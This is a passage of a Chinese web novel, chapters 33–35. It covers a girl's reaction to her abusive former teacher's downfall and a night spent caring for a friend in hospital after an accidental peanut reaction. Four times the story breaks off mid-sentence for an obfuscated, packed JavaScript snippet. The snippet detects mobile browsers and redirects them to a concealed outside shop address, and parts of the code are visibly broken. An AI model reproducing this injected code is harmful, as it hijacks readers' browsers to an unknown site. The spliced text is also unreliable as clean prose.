乔洛耐心地给蕊蕊编着头发,是两根漂亮的蜈蚣辫,发尾翘起,就像两个小括号。 “蕊蕊,谢谢你。”乔洛拥着花蕊蕊,把头埋在她颈窝里。 于乔洛而言,杨可期照亮了她的童年,花蕊蕊照亮了她这半年多的阴暗角落。 “可你为什么对我这么好,或许如果不是我,冯桂如不会这样对你。” “因为你对我也很好呀。” “我就是个一点能耐都没有的人,我又哪里对你好了……” “你都不记得了,我会伤心的。” “那你说给我听,这次我再也不会忘。” “就是刚开学的时候大家都不太熟,但有一次食堂好像什么东西坏了在维修,就直接把饭拿到班里打着吃。 我这个人乱乱的,桌子上摆了许多书,我去打饭的时候竟忘了这件事,回来端着饭看着一点空余都没有的桌子正发愁。你什么都没说就开始帮我收拾桌子。” “嗯?就这件事?” “你记得?” “不太记得,但这也算好吗?” “当然呀,你都不记得了,更说明只是你随手的举动,我们洛洛是个顶好的人。” 后来花蕊蕊不让乔洛再去找她,她说要让乔洛习惯,她终究是个马上就要不在了的人。 不过十天,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908924|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个曾在体育课上对着自己坐在角落的乔洛伸出手,说“我们一起玩吧”的女孩,永远地消失在了这个世界上。 后来乔洛才知道,那天花蕊蕊不过是在语文课上偷偷写了卷子,却被在后门窥视的冯桂如发现了。 花蕊蕊的父母很快就搬去了奉州,好像是花父升了官。 听说他们企图去教育局告过冯桂如打学生,回应却石沉大海。 乔洛自此越发的孤僻,她不喜欢和人说话,也不愿参加活动,班级里更没人想和她来往。 冯桂如又找机会挖苦过乔洛,却都被乔洛三言两语怼得无话可说。 可能人总是失去了才知道懊悔,但终归还有云锦书在学校里,乔洛还是忍得比说得多。 毕竟,人真的很难和疯子对抗,还是那种在保护伞下的疯子。 至于冯鑫,在出事之前,乔洛甚至没有注意过他。 也只是个由头,乔洛顺势直接不去上学了。 曾经稳居实验中学前三名的女孩,在新柳县榜至此没落,再没了踪影,直到中考,却也再没有了曾经的辉煌。 2007年10月23日,一个最平常不过的星期二。 乔洛在下午第三节课下课接到了云锦书的电话。云锦书从未在上学的时候给乔洛打过电话,乔洛一瞬间还以为是家里出了事情。 云锦书说,今天上午教育局的人直接把冯桂如叫去谈了话,是奉州市教育局。刚刚就收到消息,冯桂如被夺了职称,废了工作,永远取消教师资格。罪名是体罚学生,违规补课,情节严重。 而冯桂如,无法接受这个事情,突发心梗,直接死在了救护车上。 乔洛挂了电话仍旧有些恍惚,不太敢相信这是真的。 她刚放下手机,就又看到了新消息提示。 ——感谢洛洛的录像,那是最关键的证据。 往事已了,怨恶皆终,祝乔洛同学今后一生顺遂,再无险阻。 是花蕊蕊父亲的短信。 乔洛仍在学校的那几个月里,偷偷录下了很多段冯桂如打学生的视频,悉数传给了花蕊蕊父亲。 花蕊蕊父亲原本只是新柳财政局的一个小官,那人多少有些胸无大志,有能力却更喜欢安稳度日。 自蕊蕊病逝后,他似受了刺激,左右逢源,步步高升,去了奉州。 乔洛在走廊里开着窗户站了许久。 其实他们都清楚,蕊蕊的病未必和冯桂如有关系。 但或许是发病的时间太巧合,又或许是初中的日子过于难熬,为人父母总是想为孩子争一些公道——哪怕为时已晚。 乔洛也说不清自己现在是什么感受。 或许吧,算大仇得报。 杨可期为了帮她打掩护,拿了本练习册出来,放在窗台上,然后静静站在她身边。 丁似霰也猫着腰从五班后门跑了出来,他不知道发生了什么事,只看到了乔洛呆呆地站了许久。 乔洛对这两个人的到来并没有做出什么反应,除了悄悄把窗户合上了一些,让风只吹着她自己。 十月里的风已经有些硬了,吹得人眼睛生疼。 “我一会请假,回家睡觉了。”乔洛拉严窗户,轻轻和两个人说着。 “好。”杨可期轻轻拍了拍她的后背。 乔洛看着丁似霰,露出了一个很牵强的笑容,“今天不是很想讲故事,可期都知道,让她和你说吧。” “嗯,”丁似霰问道,“要送你去校门口吗?” “不用,这几步路我还走不丢。” 乔洛回家之后,洗过澡换上睡衣,就把自己窝在了被子里。刚刚有些困意,她的手机就响了一下。 乔洛没有看消息,随手摁了静音就一觉到天明了。 第二天乔洛还没有去上课。 杨可期告诉丁似霰,她是发烧了,在家休息。 第三天仍旧是这样。 第四天,丁似霰才接到乔洛的电话。 那声音有些沙哑,却懒懒散散。 “怎么了小丁子,以为我死家里了?” “你……好些了吗?” “就是嗓子还有点哑,昨天早上听着还跟破锣一样。” “那你,好好休息。” “嗯,休息了啊,所以今天才看手机,就看到你这么多条消息。” “你,有打针吗?” “嗯?没有,我估计就是那天吹风吹的,感个冒又不严重,我纯属找机会在家睡觉,正好这周放假,五天假期那不是神仙日子。” “好,那就多多睡觉。” 乔洛看了一下时间,马上打上课铃了,“快上课了,我挂了啊!” “嗯,拜拜。” 往事已了,怨恶皆终。 是啊,都结束了。 33. 小脆皮 乔洛原是答应了丁似霰,去看他比赛。毕竟乔洛也没什么事做,去当个观众看热闹还能哄得丁似霰乐乐呵呵的,何乐而不为。 结果还有一周就到了羽毛球比赛的时候,乔洛突然有了新任务。 奉州那边要举办朗诵比赛,各学校内部先比出来前三名,然后去奉州参加决赛,新材高中的演讲比赛就定在羽毛球赛的后两天。 比赛主持,设备调试这些事情就又落在广播站的身上了。 羽毛球比赛的第一天,是初赛,车轮战。 乔洛在阶梯教室盯彩排。 她和丁似霰保证,明天一定去看他决赛。 第二天,乔洛刚兴冲冲准备下课就跑到体育馆去看热闹,结果就被叫去了阶梯教室。 为保万无一失,老师又让她去走一遍流程。 乔洛本想着告诉丁似霰一下,跑到阶梯教室后掏出手机却发现。。。关机了。真该死啊,这破电池昨天晚上刚充好电,怎么又没电了? 更该死的是丁似霰、许志哪怕是杨可期的手机号,乔洛都记不住,借别人手机也没法发消息。 她想着,大概也不差自己这一个观众。主要是就算差也没办法,乔洛只能快点干活争取还能去体育馆转上一圈。 乔洛气喘吁吁跑到体育馆的时候,正好看到了丁似霰拿下最后一球。 不过场馆里太挤了,她只站在后门扶着墙喘着粗气看了两眼。 乔洛看不真切,反正有不少人围着丁似霰,简直比篮球场还热闹。 她刚想绕到场下去和丁似霰说句话,还没抬腿,就被高一的一个小男生叫住了。 那老掉牙的设备又卡住了,一直在尖锐爆鸣。 “我是维修工吗?坏了就找人修啊,来找我干什么?”乔洛也被搞得有些烦,顺嘴吐槽了一句。 然后又忽然想到这个男生也不过是个传话的学弟,连忙又解释道,“不是,我没跟你发火。走吧,我试试能不能看出来哪出了问题。” 乔洛又向场下望了一眼,正好和丁似霰对视了一下。 距离太远,乔洛其实也不太知道丁似霰有没有看到她。 她用手比划着,大概的意思就是:我先走了。 乔洛这几天感觉,她真的收拾收拾可以去干维修了。她在调音室里鼓捣了半天,终于在第一节晚自习的铃声打响十五分钟后,修好了机器。 还真是帮新材高中省钱,就是有一次在广播站一时兴起,随便修了个小零件,结果被文娱老师发现她多少沾了点天赋,至此以后她修了一个又一个东西,为新材高中为数不多的社团经费省下一笔又一笔维修费。 反正已经上课了,周末晚自习没有老师讲课,也不着急回教室。乔洛翻墙出了校门,在南门外面那家蛋糕店买了一个四寸的小蛋糕。 唉,丁似霰挺好哄的,这人又爱吃甜的,搞个小蛋糕就当今天晚上乔洛失约的赔罪了。 但是带着奶油蛋糕翻墙属实有点困难。 她又绕了一圈,把蛋糕从另一侧的栅栏塞了进来,然后跑回去翻墙。栅栏上有尖刺,乔洛不太想尝试被戳屁股的感觉。 五班的后门大开着,乔洛提着蛋糕偷偷露了半个头向班级里看去。 丁似霰的座位还是空着的。 她小声问着门口坐着的同学,得知丁似霰刚刚急匆匆跑出了教室,这后门还是他打开的。 他能出去干什么?乔洛也不知道。她刚抬脚准备先回班级,目光却扫到了丁似霰桌子上那个喝剩下的饮料袋子。 豆奶???他不会自己跑去食堂买豆奶喝了吧? 乔洛把蛋糕随手放在窗台上,就跑去了厕所。 果然,撞见了刚从厕所走出来的丁似霰。 那人一手掐着上腹,一手扶着墙,步子虚浮,眼睛还是通红的。 他许是看见乔洛有些惊讶,忙放下手,好像是想装成什么事都没有的样子,却身子一晃栽在乔洛身上。 乔洛扶住了他,问道:“你,你把豆奶都喝了?” 丁似霰一脸问号,“……不是你送来的?” “不是啊,我后来一直在阶梯教室当苦力,哪有时间去食堂,”乔洛也一头雾水,“食堂的豆奶上周开始说是为了增香,加了花生,你把那一袋都喝了???” 丁似霰还没回答乔洛,就捂着嘴跌跌撞撞跑回了厕所。 他回到教室的时候,桌子上明晃晃摆着豆奶和一板巧克力,偏偏巧克力还就是平日里乔洛总买的那个牌子,而豆奶虽然乔洛这学期没买过,但之前总是会从食堂带回来。 丁似霰这个月的同桌是一个平日里没什么交情的同学,也不熟,只是在做题的间隙应付了丁似霰的问题,他说是个女孩送来的。 女孩,送来这些熟悉的东西,丁似霰当然就自动带入了爽约的乔洛。想着乔洛虽然很忙,但竟然还抽出时间去帮他买吃的,想了没几秒就把自己哄开心了,然后美滋滋喝下一大口豆奶。 乔洛虽然自己总嚼冰块,但确实很少给丁似霰买冰的。男生的一大口,真就是大半瓶,再加上刚打完球回来确实也很渴,丁似霰甚至没有注意到这豆奶很凉,瓶子就已经空掉了。 那股凉意刚下达胃底,丁似霰就感觉喉咙深处传来一丝刺痒,他清了清嗓子,却发现没有任何作用,甚至除了越发急促的呼吸,胃里也猛地一抽。 坏了,这豆奶里怕是有什么他过敏的东西! 丁似霰只感觉胃里好像突然突然被捅了一把钝刀,还在不停翻搅着。他狠狠用手顶住胃部,匆忙跑去卫生间,对着水池一顿逆呕。那点刚刚被喝下去的豆奶早就吐得干干净净,但胃中的绞痛并未停歇,他本以为狠下心用手顶着胃缓一会就可以挺过去,没想到刚站起身走了不到五米,这脆弱的胃就又拧成了一团。 乔洛站在男厕的外面,只听到里面不停传出作呕的声音。 她几乎没犹豫几秒,就跑回四班,从书包里掏出了备用电池,再从箱子里拿了瓶矿泉水又匆匆跑了出去。 丁似霰感觉到突然有一只手轻轻扶着他的背好像在企图帮他缓解一些痛苦。 他茫然抬起头,竟看到了乔洛。 “这是男厕……”丁似霰说什么也没想到,乔洛会直接闯进男厕所。 “现在没人,真看了什么我又不亏。”她拧开瓶盖,把水递给丁似霰,“你稍微缓一缓,然后我送你去医院。” “不用……” “不用个屁,过敏严重可会死人的!” 丁似霰看着乔洛,他从未见过乔洛这般担忧的神情,好像真的把小姑娘吓到了。 丁似霰又顶着胃缓了一会,待到痛意减退到他可以忍受的地步,才撑着水池站了起来,闷闷应了一声,“好。” 乔洛拿到假条的速度可以堪称神速,她斜挎着书包闪现回五班后门的时候,丁似霰也刚刚走出来。 “你的假条是……?” “我说我痛经。”乔洛把假条随手揣进口袋里,扶着丁似霰下楼。她是真怕这兄弟脚下一滑直接滚下去。 大概还是很不舒服吧,丁似霰走得很慢。 乔洛好几次欲言又止的样子。 “抱歉啊……”这才刚刚走到图书馆的位置,才三分之一的路程,丁似霰额角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908925|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经全是汗珠了。 “你到底天天在抱歉些什么?”乔洛不太懂,这人怎么有什么伤病之后动不动就说抱歉。 “……有点,走不太动。” 他确实越走越慢,乔洛欲言又止其实是想……直接把他扛着走。 “你,书包给我。” “没什么东西,不沉的。” “我是感觉碍事,”乔洛直接把他的书包抢下来,然后自己一个肩膀背着一个书包。 然后,女武神搬开丁似霰的胳膊,挎在自己肩上,一手托着他的背一手放在膝盖窝里,微微用力,把他抱了起来。 “!” 这是丁似霰从未想过的事情,他竟然被乔洛……公主抱了? “你别乱动,一会我真把你摔了。”乔洛走得飞快,好像一点也不吃力。 “啊……”丁似霰只好抱住乔洛,一动不敢动。 学校门口,早早停好了一辆出租车。 乔洛在门卫那里就已经把丁似霰放下了,这几步路是扶着他走过去的。 “这么巧?”正好门口就有出租,好巧。 “不巧,是我喊王师傅过来的。” 乔洛打开车门让丁似霰先坐进了车里,自己跑到另一侧坐了进来。 从坐上出租开始,丁似霰只是靠着车门闭眼待着,一言不发。 乔洛轻轻戳了戳他的胳膊,“今晚真是意外我走不开,手机还没电了就没和你说。” 丁似霰只是闷闷地“嗯”了一声。 “那我答应你寒假陪你打混双,你别生气呗?” 丁似霰这次回答得倒是迅速,“我没生气……就是有点难受……” 乔洛听到他这话,就向着靠近丁似霰的方向又蹭了一点,然后轻轻把他揽在了怀里,撬开丁似霰死按着胃部的手,试探性把大拇指顶在了他上腹的位置,轻轻按揉着,问道:“会好一点吗?” 丁似霰一直紧绷着,乔洛也分不清他是闷哼了一声还是说得“嗯”,反正他没阻止,那就这样待着吧。乔洛已经记不清什么时候在杨可期家里的穴位图上看到的了,她按着的这个位置大概是中脘穴,好像就是治胃病的。 过了一会,丁似霰大概多少好了一些,他趴在乔洛肩上小声说道,“你得说话算话。” “嗯?”乔洛反应了一下才想起来丁似霰是说混双的事情,“好。” “可怜那个蛋糕了。”他注意到窗户上放着的蛋糕了,只是当时确实没想到是乔洛买的。 如今乔洛这么说,那看来是买给他的。 “不可怜,我让可期拿回去吃了,”乔洛揽着丁似霰肩头的手不自主地轻轻摩挲着,“等你好了我再补你一个。” “我想吃奥利奥味的。” “我今天买的就是,但你吃不到。” “……”丁似霰突然感觉好气。 “那豆奶我同学和我说是个女孩送来的,我还以为是你……”他说起了豆奶的来源。 “所以说是有小姑娘来给你投喂,结果不止礼物送成了,还把你送来了医院?” “嗯。” “啧,真惨。” 丁似霰躺到病床上之后对乔洛说的第一句话竟然是“我没事了,你回家吧。” “你疯了吧?”乔洛脱口而出。 乔洛很想拆开他脑袋看看这人在想什么,她是有多没心没肺才会把丁似霰一个人扔在医院? “就是输点液,真的没事。” 乔洛盯着他看了几秒,没有回答他。 从到医院开始算就又吐了两次,他说他没事了?糊弄鬼子呢这是。 34. 陪护 她转身离开了,但没拿书包。 乔洛只是去缴费,然后去买了一包暖贴,一个保温杯,接着去开水房接了杯温水。 她回到急诊的时候,远远的就看见丁似霰趴在床边对着垃圾桶呕着。 乔洛连忙跑了回去,把手里的东西随手放在桌上,然后坐在病床边轻轻拍着他的后背。 丁似霰已经吐到脱力了,伏在床边喘着粗气。乔洛扶起他,让他靠在自己身上,抽了张纸想要帮他擦擦嘴角。 也不知道他哪来的力气,伸手接过了纸,很粗暴地蹭了蹭嘴角,就把纸扔掉了。 乔洛擦了擦他眼角的泪痕,然后倒了一杯温水,递到丁似霰唇边,他却摇了摇头。 “你刚不是打了止吐针吗?怎么还这么难受?”乔洛自小身体就很好,她从来就没有见过这种阵仗。 “十几分钟……才见效……又不是……伸腿瞪眼丸……”丁似霰声音很小,这几个字说得也十分艰难。 乔洛这才发现,丁似霰两只手都在抖。 “你,你怎么了?”乔洛一下慌了神,忙摁响了呼叫铃。 他紧咬着牙关一声不吭,只是神情痛苦地把头埋在乔洛颈间。乔洛能清晰地感觉到他急促又混乱的呼吸。 还好丁似霰只是频繁呕吐造成的电解质失衡,通俗来讲就是抽筋了。乔洛按照护士教她的那样,一点一点揉着丁似霰的手。 他这两只手都太凉了,连带着乔洛的指尖也渐渐覆上了一层凉意,好在终是慢慢舒展开来。 乔洛见他稍微缓过来了一些,就抽出手,撕开刚才护士姐姐给的那小袋盐,加了一点点在杯子里,然后喂给他喝。 “丁似霰,你不能死我怀里吧?”她用纸巾帮他擦了擦嘴角,看着男孩苍白的面孔不禁发问。 丁似霰声音有些沙哑,当然也没什么力气,“还不至于。” 他微微抬起头,看到了乔洛泛红的眼眶。看来还是吓到她了,“急性胃炎,三五天就好了,别担心。” “哦。”乔洛把丁似霰没有打针的那个手放进被子里,然后伸手握住了他那只正在输液的手,“我善心大发,给你暖暖。” 她看了看丁似霰的手背,还好刚才足够仔细,没有走针也没回血。 丁似霰没反应,手只是虚虚搭在乔洛的手上,真实的接触面积估计都不到百分之五十。 她也没有理会,只是自顾自轻轻擦了擦丁似霰额角的冷汗。 他有点发烧,大概头脑也不是太清醒。 “你这样躺着舒服还是躺床上?”乔洛轻声问着。 丁似霰迟疑了一会,还未等到他开口,乔洛便说道,“好了我知道了,你就这么待着吧。” “……你会很累的。”他愣了半天,就说出了这么一句话。 “还好,”乔洛拍了拍他的肩膀,“但我能保证你要是一直这么使着劲的话,再有两三分钟你就得累死。” 丁似霰其实从一开始就没有完全靠在乔洛怀里,而是尽着他最大的力绷着身子, “还是不够难受,有力气自己撑着呢?”乔洛语气轻快倒似是打趣,“所以你知道自己什么样,刚才还让我回家?” “医院又不是什么好地方,”丁似霰渐渐卸些劲,靠在乔洛身上,“而且很狼狈啊……” 乔洛对他的转变表示很满意,“没事,我不嫌弃你。” 乔洛感觉到,丁似霰握着她的手似乎紧了一些。 “胃疼?”她问道。 “有一点。” 这家伙嘴里的有一点可以约等于很疼。 乔洛撕开一张暖贴,贴在被子上,然后甩甩袖子把手缩进去,覆在暖贴上。还好这个外套袖子很长。 丁似霰能感受到,上腹的位置逐渐暖了起来。或许是重量和暖意一起施加在这里,倒真的舒服了许多。 “谢谢。”他有些强撑着清醒的感觉,乔洛也不懂他在撑什么。 “睡一会吧,说不定睡着了就不难受了。” “晚上让许志送你回家吧。”丁似霰刚给许志发了消息,这倒霉催的因为默写错得太离谱被老李抓去语文办公室训了整整一节自习课,怪不得从体育馆回来之后就没了踪影。 “有没有可能我妈每天晚上都接我回家?”乔洛抬起手,直接强制丁似霰闭上了眼,“别操心了小病号,我妈下班了就来接我,她八点才下晚自习,现在还没到七点,你老老实实睡吧。” 乔洛刚才在商店的时候就收到了许志的短信,他说让乔洛先顶一会,他今天正撞了老李的霉头也不敢请假,下了晚课就过来,丁似霰父母今晚也正好回新柳,只是还有一段路程。 无所谓啦,反正在医院陪丁似霰也不是什么艰难的差事。 “好。”丁似霰这次倒是听话。 乔洛又把手放回到暖贴上。 丁似霰昏昏沉沉的,其实早就困极,很快便睡着了。 乔洛静静看着他,他胸膛随着呼吸轻轻起伏,大概是睡得也不太安稳,握着的手时不时轻轻抽动一下。 乔洛的手掌根部搭在暖贴上,手指轻轻拍着丁似霰。 或许是有被安抚到,他呼吸逐渐平稳,整个人渐渐瘫软在乔洛怀里。 乔洛不禁叹了口气。 还真是个小脆皮,这才折腾多久,嘴唇都发白了。看来以后真得多关注关注他,免得哪天真一不小心出什么大事。 乔洛一边轻轻拍着丁似霰,一边看着点滴。 好慢啊,这玩意到底得打多久? 本来这个时间按照生物钟来说,正是乔洛最困倦的时候。但被丁似霰这么一吓,她倒是无比清醒。 这还是乔洛第一次来急诊,她待得有些无聊,便看着医患来去匆匆,四处找热闹关注。 有些似是没什么大毛病,还能椅在床上和家人聊天说笑;还有少数昏昏沉沉被推着去各处做检查,好像这里真的会有好多泪。 乔洛其实本不是什么太八卦的人,但冯桂如这个名字确实会引起她高度警惕。 隔壁的隔壁,在聊实验中学半个多月前出事的那个数学老师。 这家人对场面的描述能力可是要比云锦书生动上许多,他们说话声音不大,乔洛竖起耳朵听得详细。 原来那天这么热闹,从学校闹到教育局,又从教育局闹去了医院……准确来说是闹上了救护车,就死了。 如果不是怕把丁似霰吵醒,乔洛真的很想大声鼓掌叫好。 他们很快就换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908926|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了话题,乔洛也换了目标听热闹。 什么动静?怎么好像有小孩的哭声? 乔洛看向急诊的入口,似乎是个女人抱着孩子,在往这边走。 千万离我远点离我远点离我远点,乔洛在心里念叨着。 好死不死,那女人就抱着孩子停在了乔洛隔壁的病床那里。 那孩子倒是暂时只是小声抽噎着,但乔洛看到护士拿着针来的时候,就瞬间有一种不祥的预感。 她眼疾手快把手覆在丁似霰耳朵上,与此同时,那小孩发出了尖锐爆鸣的啼哭声。 好吵! 丁似霰缓缓睁开了眼,目光有些迷茫。 “醒啦?这小崽子太吵了。”乔洛伸手探了探丁似霰的额头,好像还是热的。 “急诊都这样,总会吵吵闹闹的。”丁似霰一副看淡了的模样。 “你怎么样,好点了吗?喝不喝水?” “好,”丁似霰点了点头,“就是还有点晕乎乎的。” 乔洛喂着他喝了些水,已经有些轻车熟路地擦了擦嘴角。 “那……你这还能睡着吗?”她问道。 隔壁那小孩的叫声真叫一个此起彼伏,经久不衰。 “大概是不能了,”他微微摇了摇头,“你不喜欢听别人哭?” “你这是从哪得来的歪理,我只是感觉吵,”乔洛不太懂丁似霰跳跃的思维,“你不感觉这种尖锐的声音听起来很烦吗?” “确实不算好听。” “所以就应该让他闭嘴。”乔洛舔了舔牙,准备行动。 她又把手放在了丁似霰露出来的那只耳朵上,非战斗人员就应该隔绝开来。 丁似霰把她的手拉了下来,他想听。 “小孩!别吵了,你就是把自己哭死你不打针不吃药你也好不了。”她转过头盯着那小孩子,有些凶。 乔洛本不是个笑模样的人,她没有表情的时候看起来多少有些冷漠,板起脸的时候则是很凶的。只是平日里她经常懒懒散散的颇为随和。 那孩子竟真住了嘴,憋着嘴,有些恐惧地看着乔洛。 没想到是个怂蛋,被乔洛这么吼一下就老实了,看来是家里娇惯得太严重。 毕竟那孩子还有家长在,乔洛也不太好意思继续这个态度,语气软了下来,“你快点打针,一会就好了,这么乱叫很吵的。” 护士见这孩子终于不再挣扎,连忙把他裤子脱了一个小边,准备打针。 乔洛迅速扭过头,低声问丁似霰,“他打针怎么脱裤子?我看他跟你差不多,刚才也在哇哇吐啊?” 丁似霰有些,不是很想回答。当然,他也只是顿了几秒,“……止吐针,扎的是屁股。” “啊?”乔洛确实对于这些医学常识知之甚少,毕竟没经历过,“那你也是?” 丁似霰感觉现在自己如果是动漫里小人,那一定是满头黑线。 “……嗯。” 乔洛也不知为何,就是很想笑,连带着丁似霰也感觉脑子一震一震的。 “别,别笑了,头疼……” “好好好,”乔洛平复了一下心情,她就是莫名其妙想到丁似霰打屁股针的样子,很想笑,“怪不得把我支走呢?” 35. 风流债 “你……你,你怎么还会,吓唬小孩啊?”丁似霰迫切地想结束那个话题,很生硬地转移着。 乔洛又把手放回暖贴上。不过才半个多小时,这暖贴还是很烫手,她抖抖袖子,又把手缩进了袖子里。 她心情颇为不错,“这不是吓唬,这算血脉压制。” “嗯?”丁似霰没明白乔洛在说什么。 女孩低下头,凑到他耳边,小声说道,“这小崽子的爸,是我那个出了轨的爹。” “啊?”丁似霰深感这话题还不如不转移,相比之下还是乔洛乐呵呵的样子更好一些。 乔洛轻轻拍着丁似霰,“没事啦,我只是看到了他脖子上那个小胎记才认出来的,不过我又不在乎,凶他单纯是因为吵到你睡觉了。” “……我这么重要?” “是呗,可重要了。他要是再敢怪叫我就再吼他一嗓子。” 丁似霰又闭上了眼,微微皱着眉,侧了一下头,寻找一个更舒服的姿势,“你怎么像哄小孩似的。” “哄发烧的小病号,跟哄小孩也没什么区别。” 丁似霰血钾本就有些低,胃炎又吐了好几次,就算在挂水也还没有缓和过来,再加上一直在发烧,他醒过来这一会纯纯是被吵醒,和乔洛说话的时候已经又有一些半梦半醒。 人一但不太清醒,就容易胡言乱语。 他迷迷糊糊想到了朗诵比赛,“我可能看不了朗诵比赛了怎么办?” “你去看朗诵比赛干什么?你对那些‘粪土当年万户侯’的激扬文字感兴趣?”乔洛是对这个比赛不感兴趣的,或许是因为她情感不够充沛,她也欣赏不来那些激情澎湃演讲的选手们。 “你不是会在吗?” “我就是个打杂的,又不主持也不参赛,就在设备室当监工,有什么可看的,”乔洛注意到了他昏昏欲睡的样子,“好啦,快睡吧,在家好好休息几天把身体养好了再上学。” “嗯。”他闷闷应了一声,又睡了去。 虽说陪乔耀来医院那人乔洛并不认识,但她也不太想看那边。索性数着点滴落下的数量,猜着滴速。 给他暖了半天手,也算有点作用,至少乔洛感觉丁似霰的手没有那么凉了。 她又开始看丁似霰在输什么液。 奥美拉唑,那玩意好像乔洛见过胶囊状的。 间苯三酚,怎么这么眼熟?啊,前几天做有机题好像数过这东西含苯环的同分异构体,几个来着?哦,就三个,想起来了,当初还不太敢相信就这么点,数了好几遍。 就这么听着热闹,偶尔展开一些联想,乔洛倒感觉时间过得挺快。 过了一会,丁似霰迷迷糊糊唤了一声“洛洛”。 乔洛侧过头去,看着他,“怎么啦?” 怎知这人根本没有醒,只是握着乔洛的手似乎又紧了一些。 乔洛用拇指轻轻摩挲着丁似霰的手背,轻轻说了一句,“放心,我不会把你自己丢下的。” 自然是没有回应的。 刚刚还说着让她回家,如今又迷迷糊糊握紧了怕她走。 口是心非的男人。 许志没有比丁似霰父母早过来多久,他后来还说早知道就不跑这一趟了。 丁似霰父母到医院的时候,乔洛正小心翼翼托着丁似霰的头,把他放到床上。 他们俩手还握在一起。 乔洛看到丁国辉和余美兰的时候不免有些尴尬。她下意识想缩回手,丁似霰却迷迷糊糊用了些力握住她。 当然,晕睡过去的丁似霰是阻碍不了乔洛抽出手的,但她没有强抽出去, “阿姨,叔叔……好,”乔洛半弯着身子站在病床边,尬笑着打招呼,然后又轻轻拍了拍丁似霰的手背,“我要回家啦,给你换个暖手宝好不好?” 乔洛第一次知道,昏睡中的人竟然确实也能听到身边人说话,这种事情曾经还只在电视里见过。她说完话之后,丁似霰真的松开了手。 “洛洛是吧?听小光提起过你,多谢你照顾小光啦!等他好点了,叫上许志和那个你们总在一起玩的女孩,阿姨请你们吃饭!”余美兰的声音温温柔柔的,乔洛第一次在生活中听到这种来自南方的声线。 今天有好多前所未有的第一次。 乔洛掏出书包里那个乌龟。这乌龟壳是可以打开的,大概是个钱包,但乔洛只是把它当成玩偶放在书包最外层那个透明袋子里。 当时买的时候就是感觉这玩意蠢得可爱,如今看来正好适合往里面塞个暖贴放到丁似霰手里。 “好呀,谢谢阿姨,”乔洛一边做着“暖手宝转移工作”,一边回应余美兰的话,“阿姨你说小光,是丁似霰小名?” “是呀,他没和你说过?” 余美兰是个很随和的人,乔洛第一次见她,就感觉很喜欢这个阿姨的面相。 丁国辉倒是没说什么话,但和许志看起来很熟的样子,两个人也不知道在说些什么。 “还真没有嘞,他就有的时候自称光哥,我倒是没问过。”乔洛现在满脑子都是小学应用题里的情景,然后迅速把所有小光和丁似霰匹配在一起,比如小光去超市买东西结果账单被污染了,比如小光植树但是算不明白要种多少棵了…… 联想归联想,乔洛还是没耽误正事,她发短信和云锦书说可以来接她了之后就和余美兰简单说了丁似霰的情况。 “丁似霰就是误食了点花生,然后急性胃炎了,不算太严重,医生说输完液就可以回家养着了,”乔洛带着些坏笑看着余美兰,“阿姨你猜他是怎么吃到的花生?” 余美兰很喜欢乔洛,如今已经挎着乔洛的胳膊在丁似霰病床边坐着了,“他莫不是得罪了什么人,被阴了?不应该啊,花生过敏也不是什么常见的事。” “风流债,有小姑娘给他送吃的,”这事本来挺悲催的,但确实说起来也可以算上一件八卦,“不过今天看到阿姨和叔叔啊,我感觉他这个长相和身形长得还是保守了点。” 余美兰被乔洛说的一乐,“哈哈,你这孩子太会说话了!” 无人在意的角落,病床上的丁似霰迷迷糊糊听到了一些乔洛和余美兰的对话,他甚至以为自己在做梦。 他彻底醒过来,已经是下半夜的事情了。 急诊的灯光还是亮的,丁似霰下意识看了一下输液的袋子,终于快结束了。然后,他就看到了手里握着的这只小乌龟。 乔洛平时很宝贝这个玩偶,甚至舍不得当挂件怕弄脏了,就一直放在透明夹层里,今天竟然就这么塞在他手里,放在了病床上。 他看到余美兰在一旁坐着,并不意外。当时他是真的听到了,只是确实,没醒过来。 余美兰告诉他,乔洛到家后说会给他发消息,让他可以看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908927|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短信。 ——我到家了,小光,要好好休息哦! 